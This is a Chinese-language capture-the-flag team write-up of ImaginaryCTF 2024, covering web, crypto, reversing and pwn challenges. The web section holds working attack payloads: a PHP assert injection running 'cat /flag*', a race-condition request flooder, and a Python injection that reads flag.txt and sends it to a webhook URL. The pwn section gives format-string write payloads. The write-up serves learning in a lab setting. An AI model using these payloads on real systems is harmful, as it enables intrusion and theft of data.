2024 Imaginary CTF Write Up by ICEDTEA
WEB
readme
- solver Elliot_404
按下Load Preview
接著打開開發者工具,找到對應的請求
把要求網址的後面的readme.tar.gz改成flag.txt即可拿到檔案
https://cybersharing.net/api/download/file/7a829a2b-4674-471a-9875-02691f5ce6c5/703dc4c6-7b06-4813-874a-857fc1ea4098/7aeb7c98-9bf5-44b3-9eb3-972f225a3576/flag.txt
但打開會發現這實際上不是.txt檔,所以先丟進Linux裡面查看檔案類型
wget https://cybersharing.net/api/download/file/7a829a2b-4674-471a-9875-02691f5ce6c5/703dc4c6-7b06-4813-874a-857fc1ea4098/7aeb7c98-9bf5-44b3-9eb3-972f225a3576/flag.txt
file flag.txt
發現是gzip檔,解壓縮它並繼續查看檔案類型
mv flag.txt flag.gz
gzip -d flag.gz
file flag
發現是tar壓縮檔,解壓縮它
tar -xvf flag
在解壓縮出來的檔案中有一個名為flag的檔案,查看它的內容
cat flag | grep ictf
報錯了,終端回應grep: (standard input): binary file matches
,於是加上-a
選項,這會強制 grep 處理二進制文件為文本
cat flag | grep -a ictf
flag:ictf{path_normalization_to_the_rescue}
journal
- solver Whale120 index.php
<?php
echo "<p>Welcome to my journal app!</p>";
echo "<p><a href=/?file=file1.txt>file1.txt</a></p>";
echo "<p><a href=/?file=file2.txt>file2.txt</a></p>";
echo "<p><a href=/?file=file3.txt>file3.txt</a></p>";
echo "<p><a href=/?file=file4.txt>file4.txt</a></p>";
echo "<p><a href=/?file=file5.txt>file5.txt</a></p>";
echo "<p>";
if (isset($_GET['file'])) {
$file = $_GET['file'];
$filepath = './files/' . $file;
assert("strpos('$file', '..') === false") or die("Invalid file!");
if (file_exists($filepath)) {
include($filepath);
} else {
echo 'File not found!';
}
}
echo "</p>";
這是php-7assert("strpos('$file', '..') === false")
中帶來了php code injection的弱點。
payload:?file=%27.system("cat%20/flag*").%27
The Amazing Race
- solver Whale120 一個走迷宮的遊戲,快速code review就可以發現終點周圍永遠會有障礙物,不過有感覺到race condition的洞,所以可以用類似底下的腳本(用threadings加速)刷到右下角拿flag
import threading
import requests
url = 'http://the-amazing-race.chal.imaginaryctf.org/move'
params = {
'id': 'f09c7723-d4a5-4b84-9faf-69d6197807b0',
'move': 'down'
}
def send_request():
response = requests.post(url, params=params)
print(response.text)
num_threads = 50
threads = []
for i in range(num_threads):
thread = threading.Thread(target=send_request)
thread.start()
threads.append(thread)
for thread in threads:
thread.join()
print("All requests completed.")
P2C
- solver legend_yang 查看原始碼後,發現可以直接塞py code,就拿之前寫的送了
urllib=__import__('urllib.request', fromlist=['Request', 'urlopen']);subprocess = __import__('subprocess');awab=subprocess.run(['cat', 'flag.txt'], capture_output=True, text=True);url="<webhook uri here>"+awab.stdout;urllib.urlopen(url);return"Hello, World!"
Crystals
- solver legend_yang 查看原始碼後發現flag好像和sinatra框架比較有關,在本地開了一個沒有nginx proxy過的server。
亂塞一堆字元後發現sinatra在400 bad requests的時候會返回hostname值,而這次的flag就放在hostname裡面。http://crystals.chal.imaginaryctf.org/{]};:'",<.>/?~𝘈Ḇ𝖢𝕯٤ḞԍНǏ𝙅ƘԸⲘ𝙉০Ρ𝗤Ɍ𝓢ȚЦ𝒱Ѡ𝓧ƳȤѧᖯć𝗱ễ𝑓𝙜Ⴙ𝞲𝑗𝒌ļṃʼnо𝞎𝒒ᵲꜱ𝙩ừ𝗏ŵ𝒙𝒚ź1234567890!@#$%^&*()-_=+[{]};:'",<.>/?~АḂⲤ𝗗𝖤𝗙ꞠꓧȊ𝐉𝜥ꓡ𝑀𝑵Ǭ𝙿𝑄Ŗ𝑆𝒯𝖴𝘝𝘞ꓫŸ𝜡ả𝘢ƀ𝖼ḋếᵮℊ𝙝Ꭵ𝕛кιṃդⱺ𝓅𝘲𝕣𝖘ŧ𝑢ṽẉ𝘅ყž1234567890!@#$%^&*()-_=+[{]};:'",<.>/?~Ѧ𝙱ƇᗞΣℱԍҤ١𝔍К𝓛𝓜ƝȎ𝚸𝑄Ṛ𝓢ṮṺƲᏔꓫ𝚈𝚭𝜶Ꮟçძ𝑒𝖿𝗀ḧ𝗂𝐣ҝɭḿ𝕟𝐨𝝔𝕢ṛ𝓼тú𝔳ẃ⤬𝝲𝗓1234567890!@#$%^&*()-_=+[{]};:'",<.>/?~𝖠Β𝒞𝘋𝙴小熊𝓕ĢȞỈ𝕵ꓗʟ𝙼ℕ০𝚸𝗤ՀꓢṰǓⅤ𝔚Ⲭ𝑌𝙕𝘢𝕤
CRYPTO
base64
- solver yucheng2663
main.py
from Crypto.Util.number import bytes_to_long
q = 64
flag = open("flag.txt", "rb").read()
flag_int = bytes_to_long(flag)
secret_key = []
while flag_int:
secret_key.append(flag_int % q)
flag_int //= q
print(f"{secret_key = }")
這題直接丟給GPT解釋流程,他會講一大堆東西給你,但其實重點就是最後面有提到產生的 secret_key 清單可以用來還原原始數據
所以基本上可以直接把題目的out.txt丟給GPT去幫你寫出反推密文的程式碼
exp.py
from Crypto.Util.number import long_to_bytes
# 假设 secret_key 和 q 已经定义
secret_key = [10, 52, 23, 14, 52, 16, 3, 14, 37, 37, 3, 25, 50, 32, 19, 14, 48, 32, 35, 13, 54, 12, 35, 12, 31, 29, 7, 29, 38, 61, 37, 27, 47, 5, 51, 28, 50, 13, 35, 29, 46, 1, 51, 24, 31, 21, 54, 28, 52, 8, 54, 30, 38, 17, 55, 24, 41, 1]
q = 64
# 初始化反推的长整数
reconstructed_int = 0
# 遍历 secret_key 列表并按基数 q 重新组合成一个长整数
for i in range(len(secret_key)-1, -1, -1):
reconstructed_int = reconstructed_int * q + secret_key[i]
# 将长整数转换回字节序列
original_flag = long_to_bytes(reconstructed_int)
print(f"{original_flag = }")
integrity
- solver Whale120 chal.py
from Crypto.Util.number import *
from binascii import crc_hqx
p = getPrime(1024)
q = getPrime(1024)
n = p*q
e = 65537
tot = (p-1)*(q-1)
d = pow(e, -1, tot)
flag = bytes_to_long(open("flag.txt", "rb").read())
ct = pow(flag, e, n)
#signature = pow(flag, d, n) # no, im not gonna do that
signature = pow(flag, crc_hqx(long_to_bytes(d), 42), n)
print(f"{n = }")
print(f"{ct = }")
print(f"{signature = }")
其中,crc_hqx會回傳一個 16 bits的簽名,所以整題就會變成一個共模攻擊(link)的題目。
exp.py
from Crypto.Util.number import *
import math
from tqdm import trange
n = 10564138776494961592014999649037456550575382342808603854749436027195501416732462075688995673939606183123561300630136824493064895936898026009104455605012656112227514866064565891419378050994219942479391748895230609700734689313646635542548646360048189895973084184133523557171393285803689091414097848899969143402526024074373298517865298596472709363144493360685098579242747286374667924925824418993057439374115204031395552316508548814416927671149296240291698782267318342722947218349127747750102113632548814928601458613079803549610741586798881477552743114563683288557678332273321812700473448697037721641398720563971130513427
ct = 5685838967285159794461558605064371935808577614537313517284872621759307511347345423871842021807700909863051421914284950799996213898176050217224786145143140975344971261417973880450295037249939267766501584938352751867637557804915469126317036843468486184370942095487311164578774645833237405496719950503828620690989386907444502047313980230616203027489995981547158652987398852111476068995568458186611338656551345081778531948372680570310816660042320141526741353831184185543912246698661338162113076490444675190068440073174561918199812094602565237320537343578057719268260605714741395310334777911253328561527664394607785811735
signature = 1275844821761484983821340844185575393419792337993640612766980471786977428905226540853335720384123385452029977656072418163973282187758615881752669563780394774633730989087558776171213164303749873793794423254467399925071664163215290516803252776553092090878851242467651143197066297392861056333834850421091466941338571527809879833005764896187139966615733057849199417410243212949781433565368562991243818187206912462908282367755241374542822443478131348101833178421826523712810049110209083887706516764828471192354631913614281317137232427617291828563280573927573115346417103439835614082100305586578385614623425362545483289428
e=65537
def common_module_attack(x1, x2):
pad=inverse(x1, x2)
assert x1*pad % x2 ==1
val=(pow(ct, pad, n)*pow(signature, -(x1*pad//x2), n))%n
return long_to_bytes(val)
for i in trange(2, 65536):
if b'ictf' in common_module_attack(e, i):
print(common_module_attack(e, i))
REVERSING
unoriginal
- solver Whale120 xor, key是5
RUST
- solver Whale120 一個加密程式,要還原密鑰跟找到與密文對應ㄉ明文
(其實我沒有真的做很深入的逆向),主要觀察兩點:
- 是逐字加密
- key的大小跟輸出的大些成高度正相關 最後就手動二分搜湊出key …(以flag第一個字元i為樣本)
bf
- solver hokak 題目給你一段brainfuck的code
,>>+++++++++++[<+++>-]<[-<+>]<------------------------------------------------------------------------------------------------------------------------------------------[><],>>++++++++++[<+++++++>-]<[-<+>]<-------------------------------------------------------------------------------------------------------------------------------------------------------------------------[><],>>+++++++++++[<++++>-]<[-<+>]<----------------------------------------------------------------------------------------------------------------------------------------------------------------[><],>>++++++++++[<+++++++>-]<[-<+>]<----------------------------------------------------------------------------------------------------------------------------------------------------------------------------[><],>>+++++++++++++++++[<+++>-]<[-<+>]<------------------------------------------------------------------------------------------------------------------------------------------------------------------------------[><],>>++++++++[<++++++++>-]<[-<+>]<-----------------------------------------------------------------------------------------------------------------[><],>>+++++++++++++[<+++++>-]<[-<+>]<----------------------------------------------------------------------------------------------------------------------------------------------------------------[><],>>+++++++++++[<++++>-]<[-<+>]<----------------------------------------------------------------------------------------------------------------------------------------------------[><],>>++++++[<+++++>-]<[-<+>]<----------------------------------------------------------------------------------[><],>>+++++++++++[<+++++>-]<[-<+>]<---------------------------------------------------------------------------------------------------------------------------------------------------------------------------[><],>>+++++++++[<+++++++>-]<[-<+>]<------------------------------------------------------------------------------------------------------------------[><],>>+++++++++++[<+++>-]<[-<+>]<--------------------------------------------------------------------------------------------------------------------------------[><],>>+++++++++++++++++[<+++>-]<[-<+>]<------------------------------------------------------------------------------------------------------[><],>>+++++++++++[<+++++>-]<[-<+>]<--------------------------------------------------------------------------------------------------------------------------------------------------------------------------[><],>>++++++++[<+++++++>-]<[-<+>]<--------------------------------------------------------------------------------------------------------[><],>>++++++[<+++++>-]<[-<+>]<------------------------------------------------------------------------------------------------------------------------------------------[><],>>++++++++[<+++++++>-]<[-<+>]<------------------------------------------------------------------------------------------------------------[><],>>+++++++++[<+++++++>-]<[-<+>]<-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------[><],>>++++++[<+++++>-]<[-<+>]<-------------------------------------------------------------------------------------------------------------------------------------[><],>>+++++++++[<+++++>-]<[-<+>]<--------------------------------------------------------------------------------------------------[><],>>++++++++++[<+++++>-]<[-<+>]<-------------------------------------------------------------------------------------------------------------------------------------------------[><],>>++++++++++[<+++++++>-]<[-<+>]<-----------------------------------------------------------------------------------------------------------------------------[><],>>++++++++++[<+++++++>-]<[-<+>]<--------------------------------------------------------------------------------------------------------------------------------------------------------------------------[><],>>++++++++++[<++++++>-]<[-<+>]<----------------------------------------------------------------------------------------------------------------[><],>>+++++++++++++++++[<+++>-]<[-<+>]<---------------------------------------------------------------------------------------------------------------------------------------------------------[><],>>+++++++++++[<++++>-]<[-<+>]<-----------------------------------------------------------------------------------------------[><],>>+++++++++++++++++++++++[<++>-]<[-<+>]<-----------------------------------------------------------------------------------------------------------------------------------------------[><],>>+++++++++++++++++++++++[<+++>-]<[-<+>]<----------------------------------------------------------------------------------------------------------------------[><],>>+++++++++++++++++++[<+++>-]<[-<+>]<-----------------------------------------------------------------------------------------------------------------------------------------------------------[><],>>++++++[<+++++>-]<[-<+>]<-----------------------------------------------------------------------------------------------------------------------------------------------------------[><]
然後稍微學一下brainfuck,發現他可以用工具轉成C語言
然後我看到這堆東西,看起來就超容易進入無窮迴圈
但仔細觀察後,會得知每段迴圈都長得差不多
可以把
while (tape[ptr] != 0)
{
ptr -= 1;
tape[ptr] += 3;
ptr += 1;
tape[ptr] -= 1;
}
換成
tape[ptr - 1] += tape[ptr] * 3, tape[ptr] = 0;
以此類推其他數字
還有
while (tape[ptr] != 0)
{
ptr += 1;
ptr -= 1;
}
的功能是如果不為0就會進入無窮迴圈
那如果把這段改成直接強制退出程式就輕鬆多了
if (tape[ptr] != 0)
return 0;
改完的code
/* This is a translation of a.bf, generated by bftoc.py (by Paul Kaefer)
* It was generated on Sunday, July 21, 2024 at 10:49PM
*/
#include <stdio.h>
int main(void)
{
int size = 1000;
unsigned tape[1000];
int i = 0;
/* Clearing the tape (array) */
for (i=0; i<size; i++)
tape[i] = 0;
int ptr = 0;
tape[ptr] = getchar();
ptr += 2;
tape[ptr] += 11;
tape[ptr - 1] += tape[ptr] * 3, tape[ptr] = 0;
ptr -= 1;
tape[ptr - 1] += tape[ptr], tape[ptr] = 0;
printf("%d %d %d", tape[0], tape[1], tape[2]);
ptr -= 1;
tape[ptr] -= 138;
if (tape[ptr] != 0)
return 0;
tape[ptr] = getchar();
ptr += 2;
tape[ptr] += 10;
tape[ptr - 1] += tape[ptr] * 7, tape[ptr] = 0;
ptr -= 1;
tape[ptr - 1] += tape[ptr], tape[ptr] = 0;
ptr -= 1;
tape[ptr] -= 169;
if (tape[ptr] != 0)
return 0;
tape[ptr] = getchar();
ptr += 2;
tape[ptr] += 11;
tape[ptr - 1] += tape[ptr] * 4, tape[ptr] = 0;
ptr -= 1;
tape[ptr - 1] += tape[ptr], tape[ptr] = 0;
ptr -= 1;
tape[ptr] -= 160;
if (tape[ptr] != 0)
return 0;
tape[ptr] = getchar();
ptr += 2;
tape[ptr] += 10;
tape[ptr - 1] += tape[ptr] * 7, tape[ptr] = 0;
ptr -= 1;
tape[ptr - 1] += tape[ptr], tape[ptr] = 0;
ptr -= 1;
tape[ptr] -= 172;
if (tape[ptr] != 0)
return 0;
tape[ptr] = getchar();
ptr += 2;
tape[ptr] += 17;
tape[ptr - 1] += tape[ptr] * 3, tape[ptr] = 0;
ptr -= 1;
tape[ptr - 1] += tape[ptr], tape[ptr] = 0;
ptr -= 1;
tape[ptr] -= 174;
if (tape[ptr] != 0)
return 0;
tape[ptr] = getchar();
ptr += 2;
tape[ptr] += 8;
tape[ptr - 1] += tape[ptr] * 8, tape[ptr] = 0;
ptr -= 1;
tape[ptr - 1] += tape[ptr], tape[ptr] = 0;
ptr -= 1;
tape[ptr] -= 113;
if (tape[ptr] != 0)
return 0;
tape[ptr] = getchar();
ptr += 2;
tape[ptr] += 13;
tape[ptr - 1] += tape[ptr] * 5, tape[ptr] = 0;
ptr -= 1;
tape[ptr - 1] += tape[ptr], tape[ptr] = 0;
ptr -= 1;
tape[ptr] -= 160;
if (tape[ptr] != 0)
return 0;
tape[ptr] = getchar();
ptr += 2;
tape[ptr] += 11;
tape[ptr - 1] += tape[ptr] * 4, tape[ptr] = 0;
ptr -= 1;
tape[ptr - 1] += tape[ptr], tape[ptr] = 0;
ptr -= 1;
tape[ptr] -= 148;
if (tape[ptr] != 0)
return 0;
tape[ptr] = getchar();
ptr += 2;
tape[ptr] += 6;
tape[ptr - 1] += tape[ptr] * 5, tape[ptr] = 0;
ptr -= 1;
tape[ptr - 1] += tape[ptr], tape[ptr] = 0;
ptr -= 1;
tape[ptr] -= 82;
if (tape[ptr] != 0)
return 0;
tape[ptr] = getchar();
ptr += 2;
tape[ptr] += 11;
tape[ptr - 1] += tape[ptr] * 5, tape[ptr] = 0;
ptr -= 1;
tape[ptr - 1] += tape[ptr], tape[ptr] = 0;
ptr -= 1;
tape[ptr] -= 171;
if (tape[ptr] != 0)
return 0;
tape[ptr] = getchar();
ptr += 2;
tape[ptr] += 9;
tape[ptr - 1] += tape[ptr] * 7, tape[ptr] = 0;
ptr -= 1;
tape[ptr - 1] += tape[ptr], tape[ptr] = 0;
ptr -= 1;
tape[ptr] -= 114;
if (tape[ptr] != 0)
return 0;
tape[ptr] = getchar();
ptr += 2;
tape[ptr] += 11;
tape[ptr - 1] += tape[ptr] * 3, tape[ptr] = 0;
ptr -= 1;
tape[ptr - 1] += tape[ptr], tape[ptr] = 0;
ptr -= 1;
tape[ptr] -= 128;
if (tape[ptr] != 0)
return 0;
tape[ptr] = getchar();
ptr += 2;
tape[ptr] += 17;
tape[ptr - 1] += tape[ptr] * 3, tape[ptr] = 0;
ptr -= 1;
tape[ptr - 1] += tape[ptr], tape[ptr] = 0;
ptr -= 1;
tape[ptr] -= 102;
if (tape[ptr] != 0)
return 0;
tape[ptr] = getchar();
ptr += 2;
tape[ptr] += 11;
tape[ptr - 1] += tape[ptr] * 5, tape[ptr] = 0;
ptr -= 1;
tape[ptr - 1] += tape[ptr], tape[ptr] = 0;
ptr -= 1;
tape[ptr] -= 170;
if (tape[ptr] != 0)
return 0;
tape[ptr] = getchar();
ptr += 2;
tape[ptr] += 8;
tape[ptr - 1] += tape[ptr] * 7, tape[ptr] = 0;
ptr -= 1;
tape[ptr - 1] += tape[ptr], tape[ptr] = 0;
ptr -= 1;
tape[ptr] -= 104;
if (tape[ptr] != 0)
return 0;
tape[ptr] = getchar();
ptr += 2;
tape[ptr] += 6;
tape[ptr - 1] += tape[ptr] * 5, tape[ptr] = 0;
ptr -= 1;
tape[ptr - 1] += tape[ptr], tape[ptr] = 0;
ptr -= 1;
tape[ptr] -= 138;
if (tape[ptr] != 0)
return 0;
tape[ptr] = getchar();
ptr += 2;
tape[ptr] += 8;
tape[ptr - 1] += tape[ptr] * 7, tape[ptr] = 0;
ptr -= 1;
tape[ptr - 1] += tape[ptr], tape[ptr] = 0;
ptr -= 1;
tape[ptr] -= 108;
if (tape[ptr] != 0)
return 0;
tape[ptr] = getchar();
ptr += 2;
tape[ptr] += 9;
tape[ptr - 1] += tape[ptr] * 7, tape[ptr] = 0;
ptr -= 1;
tape[ptr - 1] += tape[ptr], tape[ptr] = 0;
ptr -= 1;
tape[ptr] -= 173;
if (tape[ptr] != 0)
return 0;
tape[ptr] = getchar();
ptr += 2;
tape[ptr] += 6;
tape[ptr - 1] += tape[ptr] * 5, tape[ptr] = 0;
ptr -= 1;
tape[ptr - 1] += tape[ptr], tape[ptr] = 0;
ptr -= 1;
tape[ptr] -= 133;
if (tape[ptr] != 0)
return 0;
tape[ptr] = getchar();
ptr += 2;
tape[ptr] += 9;
tape[ptr - 1] += tape[ptr] * 5, tape[ptr] = 0;
ptr -= 1;
tape[ptr - 1] += tape[ptr], tape[ptr] = 0;
ptr -= 1;
tape[ptr] -= 98;
if (tape[ptr] != 0)
return 0;
tape[ptr] = getchar();
ptr += 2;
tape[ptr] += 10;
tape[ptr - 1] += tape[ptr] * 5, tape[ptr] = 0;
ptr -= 1;
tape[ptr - 1] += tape[ptr], tape[ptr] = 0;
ptr -= 1;
tape[ptr] -= 145;
if (tape[ptr] != 0)
return 0;
tape[ptr] = getchar();
ptr += 2;
tape[ptr] += 10;
tape[ptr - 1] += tape[ptr] * 7, tape[ptr] = 0;
ptr -= 1;
tape[ptr - 1] += tape[ptr], tape[ptr] = 0;
ptr -= 1;
tape[ptr] -= 125;
if (tape[ptr] != 0)
return 0;
tape[ptr] = getchar();
ptr += 2;
tape[ptr] += 10;
tape[ptr - 1] += tape[ptr] * 7, tape[ptr] = 0;
ptr -= 1;
tape[ptr - 1] += tape[ptr], tape[ptr] = 0;
ptr -= 1;
tape[ptr] -= 170;
if (tape[ptr] != 0)
return 0;
tape[ptr] = getchar();
ptr += 2;
tape[ptr] += 10;
tape[ptr - 1] += tape[ptr] * 6, tape[ptr] = 0;
ptr -= 1;
tape[ptr - 1] += tape[ptr], tape[ptr] = 0;
ptr -= 1;
tape[ptr] -= 112;
if (tape[ptr] != 0)
return 0;
tape[ptr] = getchar();
ptr += 2;
tape[ptr] += 17;
tape[ptr - 1] += tape[ptr] * 3, tape[ptr] = 0;
ptr -= 1;
tape[ptr - 1] += tape[ptr], tape[ptr] = 0;
ptr -= 1;
tape[ptr] -= 153;
if (tape[ptr] != 0)
return 0;
tape[ptr] = getchar();
ptr += 2;
tape[ptr] += 11;
tape[ptr - 1] += tape[ptr] * 4, tape[ptr] = 0;
ptr -= 1;
tape[ptr - 1] += tape[ptr], tape[ptr] = 0;
ptr -= 1;
tape[ptr] -= 95;
if (tape[ptr] != 0)
return 0;
tape[ptr] = getchar();
ptr += 2;
tape[ptr] += 23;
tape[ptr - 1] += tape[ptr] * 2, tape[ptr] = 0;
ptr -= 1;
tape[ptr - 1] += tape[ptr], tape[ptr] = 0;
ptr -= 1;
tape[ptr] -= 143;
if (tape[ptr] != 0)
return 0;
tape[ptr] = getchar();
ptr += 2;
tape[ptr] += 23;
tape[ptr - 1] += tape[ptr] * 3, tape[ptr] = 0;
ptr -= 1;
tape[ptr - 1] += tape[ptr], tape[ptr] = 0;
ptr -= 1;
tape[ptr] -= 118;
if (tape[ptr] != 0)
return 0;
tape[ptr] = getchar();
ptr += 2;
tape[ptr] += 19;
tape[ptr - 1] += tape[ptr] * 3, tape[ptr] = 0;
ptr -= 1;
tape[ptr - 1] += tape[ptr], tape[ptr] = 0;
ptr -= 1;
tape[ptr] -= 155;
if (tape[ptr] != 0)
return 0;
tape[ptr] = getchar();
ptr += 2;
tape[ptr] += 6;
tape[ptr - 1] += tape[ptr] * 5, tape[ptr] = 0;
ptr -= 1;
tape[ptr - 1] += tape[ptr], tape[ptr] = 0;
ptr -= 1;
tape[ptr] -= 155;
if (tape[ptr] != 0)
return 0;
printf("hello");
}
編譯後用angr去解(不要問我怎麼寫,我用抄能力)
import angr
import sys
p = angr.Project('./a', auto_load_libs=False) #./a是剛剛的程式編譯後
initial_state = p.factory.entry_state()
simulation = p.factory.simgr(initial_state)
simulation.explore(find= lambda s: b"hello" in s.posix.dumps(1))
if simulation.found:
solution_state = simulation.found[0]
sol = solution_state.posix.dumps(sys.stdin.fileno())
print(f"[+] Success! Solution is: {sol}")
else:
print("target not found")
unconditional
- solver hokak
然後他給我們一個執行檔,decompile之後大概長這樣(小小的改過)
#include "defs.h"
long long iterate(int a1); // idb
int main(int argc, const char **argv, const char **envp);
char flag[18] = "nothing_here_lmao"; // weak
_BYTE table1[6] = { 82, 100, 113, 81, 84, 118 }; // weak
_BYTE table2[6] = { 1, 3, 4, 2, 6, 5 }; // weak
char completed_0; // weak
int counter1; // weak
int counter2; // weak
//----- (0000000000001149) ----------------------------------------------------
long long iterate(int a1)
{
bool v1; // al
unsigned __int8 v3; // [rsp+19h] [rbp-7h]
bool v4; // [rsp+1Eh] [rbp-2h]
v3 = flag[a1];
v4 = (a1 & 1) != 0;
v1 = v3 > 0x60u && v3 <= 0x7Au;
flag[a1] = ((((int)v3 >> table2[counter2]) | (v3 << (8 - table2[counter2]))) * v1
+ !v1 * (((v3 << 6) | (v3 >> 2)) ^ table1[counter1]))
* ((a1 & 1) == 0)
+ ((v3 ^ table1[counter1]) * v1 + !v1 * ((4 * v3) | (v3 >> 6))) * ((a1 & 1) != 0);
counter1 = (v4 + counter1) % 6;
counter2 = (v4 + counter2) % 6;
printf("%02x,", (unsigned __int8)flag[a1]);
return (unsigned int)(a1 + 1);
}
//----- (0000000000001343) ----------------------------------------------------
int main(int argc, const char **argv, const char **envp)
{
int v3; // eax
int v4; // eax
int v5; // eax
int v6; // eax
int v7; // eax
int v8; // eax
int v9; // eax
int v10; // eax
int v11; // eax
int v12; // eax
int v13; // eax
int v14; // eax
int v15; // eax
int v16; // eax
int v17; // eax
int v18; // eax
int v19; // eax
int v20; // eax
int v21; // eax
int v22; // eax
int v23; // eax
int v24; // eax
int v25; // eax
int v26; // eax
int v27; // eax
int v28; // eax
int v29; // eax
int v30; // eax
int v31; // eax
int v32; // eax
int v33; // eax
int v34; // eax
v3 = iterate(0);
v4 = iterate(v3);
v5 = iterate(v4);
v6 = iterate(v5);
v7 = iterate(v6);
v8 = iterate(v7);
v9 = iterate(v8);
v10 = iterate(v9);
v11 = iterate(v10);
v12 = iterate(v11);
v13 = iterate(v12);
v14 = iterate(v13);
v15 = iterate(v14);
v16 = iterate(v15);
v17 = iterate(v16);
v18 = iterate(v17);
v19 = iterate(v18);
v20 = iterate(v19);
v21 = iterate(v20);
v22 = iterate(v21);
v23 = iterate(v22);
v24 = iterate(v23);
v25 = iterate(v24);
v26 = iterate(v25);
v27 = iterate(v26);
v28 = iterate(v27);
v29 = iterate(v28);
v30 = iterate(v29);
v31 = iterate(v30);
v32 = iterate(v31);
v33 = iterate(v32);
v34 = iterate(v33);
iterate(v34);
return 0;
}
然後把flag那邊的前五個字改成ictf{
output的前五個字就會跟答案相同,利用這點可以做爆搜
我寫的爛code
#include "defs.h"
#include <stdio.h>
#include <string.h>
#include "edited.h"
int iterate(int a1); // idb
int main();
//-------------------------------------------------------------------------
// Data declarations
char flag[10000000]; // weak
_BYTE table1[6] = {82, 100, 113, 81, 84, 118}; // weak
_BYTE table2[6] = {1, 3, 4, 2, 6, 5}; // weak
int counter1 = 0; // weak
int counter2 = 0; // weak
unsigned char temp[33];
//----- (0000000000001149) ----------------------------------------------------
int iterate(int a1)
{
int v3 = flag[a1];
bool v4 = (a1 & 1) != 0;
bool v1 = v3 > 0x60u && v3 <= 0x7Au;
flag[a1] = ((((int)v3 >> table2[counter2]) | (v3 << (8 - table2[counter2]))) * v1 + !v1 * (((v3 << 6) | (v3 >> 2)) ^ table1[counter1])) * ((a1 & 1) == 0) + ((v3 ^ table1[counter1]) * v1 + !v1 * ((4 * v3) | (v3 >> 6))) * ((a1 & 1) != 0);
counter1 = (v4 + counter1) % 6;
counter2 = (v4 + counter2) % 6;
return (unsigned char)flag[a1];
}
void it()
{
for (int i = 0; i < 34; i++)
{
temp[i] = iterate(i);
}
}
void clear_result() //初始化這些值,下一次的嘗試才會是正確的結果
{
table1[0] = 82;
table1[1] = 100;
table1[2] = 113;
table1[3] = 81;
table1[4] = 84;
table1[5] = 118;
table2[0] = 1;
table2[1] = 3;
table2[2] = 4;
table2[3] = 2;
table2[4] = 6;
table2[5] = 5;
counter2 = 0;
counter1 = 0;
}
//----- (0000000000001343) ----------------------------------------------------
int main()
{
int ans[33] = {0xb4, 0x31, 0x8e, 0x02, 0xaf, 0x1c, 0x5d, 0x23, 0x98, 0x7d, 0xa3, 0x1e, 0xb0, 0x3c, 0xb3, 0xc4, 0xa6, 0x06, 0x58, 0x28, 0x19, 0x7d, 0xa3, 0xc0, 0x85, 0x31, 0x68, 0x0a, 0xbc, 0x03, 0x5d, 0x0b};
char tempflag[33] = {0};
for (int i = 0; i < 33; i++)
{
for (int j = ' '; j < 127; j++)
{
tempflag[i] = j;
strcpy(flag, tempflag);
clear_result();
it();
if (temp[i] == ans[i])
{
printf("%c", j);
}
}
printf("\n");
}
return 0;
}
result:
有些位置居然有兩個解(!?
但你可以透過猜測去猜出有分岔的字ictf{m0r3_than_1_way5_t0_c0n7r0??
(後兩個個字元有點怪怪的,所以我放問號)
然後我把原本的chal的偽 c code
改成可以透過輸入來顯示輸出結果的 code
#include "defs.h"
#include <stdio.h>
#include <string.h>
long long iterate(int a1); // idb
int main(int argc, const char **argv, const char **envp);
char flag[34] = ""; // weak
_BYTE table1[6] = { 82, 100, 113, 81, 84, 118 }; // weak
_BYTE table2[6] = { 1, 3, 4, 2, 6, 5 }; // weak
char completed_0; // weak
int counter1; // weak
int counter2; // weak
long long iterate(int a1)
{
bool v1; // al
unsigned __int8 v3; // [rsp+19h] [rbp-7h]
bool v4; // [rsp+1Eh] [rbp-2h]
v3 = flag[a1];
v4 = (a1 & 1) != 0;
v1 = v3 > 0x60u && v3 <= 0x7Au;
flag[a1] = ((((int)v3 >> table2[counter2]) | (v3 << (8 - table2[counter2]))) * v1
+ !v1 * (((v3 << 6) | (v3 >> 2)) ^ table1[counter1]))
* ((a1 & 1) == 0)
+ ((v3 ^ table1[counter1]) * v1 + !v1 * ((4 * v3) | (v3 >> 6))) * ((a1 & 1) != 0);
counter1 = (v4 + counter1) % 6;
counter2 = (v4 + counter2) % 6;
printf("%02x,", (unsigned __int8)flag[a1]);
return (unsigned int)(a1 + 1);
}
//----- (0000000000001343) ----------------------------------------------------
int main(int argc, const char **argv, const char **envp)
{
fgets(flag, sizeof(flag), stdin);
for (int i = 0; i < 33; i++)
iterate(i);
return 0;
}
接下來猜最後兩個字,最後一個基本上可以確定是}
了
猜倒數第二個字是l,因為c0n7r0l
很像control
flag get!!
PWN
- solver hokak
imgstore
程式一開始會給你三個選項
其他兩個選項沒用,如果選3的話可以就可以進入一個有format string bug的function
可以先leak出rsp+8、rsp+
而這邊可以看到buf * 334873123 == dword_6050(這個值是0xfeedbeef)
的判斷式
然後buf是隨機值
通過這個判斷式就可以成功進入一個會有bof的function
而兩邊的數沒有倍數關係,所以我們不能只用單純的除法去算
必須利用算數溢位的技巧,可以把他想成(mod 0x100000000)
所以利用模反元素可以算出這個值
$\texttt{n = 0x100000000, a = 334873123, x = 0xfeedbeef}$
$\texttt{inv(n, a)} = a^{-1}$
$\texttt{buf} = a^{-1} * \texttt{x} = \texttt{0x8c87dec5} (\mod {n})$
然後可以看一下stack
rsp+8是buf
(rsp+48)是一個存(rsp+80)的位址,(rsp+80)是存(rsp+90)的值
首先先用rsp+48推算rsp+8的位址
rsp+8 = 0x300001445(random)
rsp+48 = rsp+80 -> rsp+90 -> 0
rsp+80 = rsp+90 -> 0
rsp+90 = 0
然後利用format string改變(rsp+48)所指向的值(rsp+80),讓他指向(rsp+8)
改後面2bytes即可,然後就可以看到(rsp+80)所指向的值變成(rsp+8)
payload : printf(%(rsp + 8)c%15$hn)
修改後:
rsp+8 = 0x300001445(random)
rsp+48 = rsp+80 -> rsp+8 -> 0x300001445(random)
rsp+80 = rsp+8 -> 0x300001445(random)
然後就可以利用rsp+80去修改rsp+8的值了(一次改2bytes,4bytes量太大)
payload : printf(%57029c%22$hn)
修改後:
rsp+8 = 0x30000dec5
接著利用rsp+48把rsp+80改成rsp+a
payload : printf(%(rsp + a)c%15$hn)
修改後:
rsp+a = 0x30000
rsp+48 = rsp+80 -> rsp+a -> 0x30000
rsp+80 = rsp+a -> 0x30000
然後就可以利用rsp+80去修改rsp+a的值了
payload : printf(%35975c%22$hn)
修改後:
rsp+a = 0x38c87
rsp+8 = 0x38c87dec5
